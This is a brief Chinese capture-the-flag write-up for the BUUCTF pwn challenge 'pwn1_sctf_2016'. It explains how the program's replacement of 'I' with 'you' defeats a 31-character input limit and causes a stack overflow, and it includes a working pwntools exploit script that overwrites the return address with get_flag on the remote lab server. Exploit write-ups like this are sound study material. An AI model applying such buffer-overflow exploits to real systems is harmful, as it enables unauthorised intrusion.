BUUCTF--PWN pwn1_sctf_2016 1

pwn1_sctf_2016 1

查看源码
第13行发现传入的s被限制在了31个字符,没法溢出,但是接着看发现当输入I的时候,程序会把I变成you,这样一来原本一个字符就变成了三个字符,可以溢出了,并发现flag
附上脚本

from pwn import *
 
#p = process('../root/pwn1_sctf_2016')
p = remote('node3.buuoj.cn',29217)
e = ELF('../root/pwn1_sctf_2016')
 
get_flag = e.symbols['get_flag']
log.success('get_flag_addr => {}'.format(hex(get_flag)))
 
payload = 'I' * 21 + 'A' + p32(get_flag)
 
p.sendline(payload)
print(p.recv())

BUUCTF--PWN pwn1_sctf_2016 1_第1张图片

你可能感兴趣的:(CTF)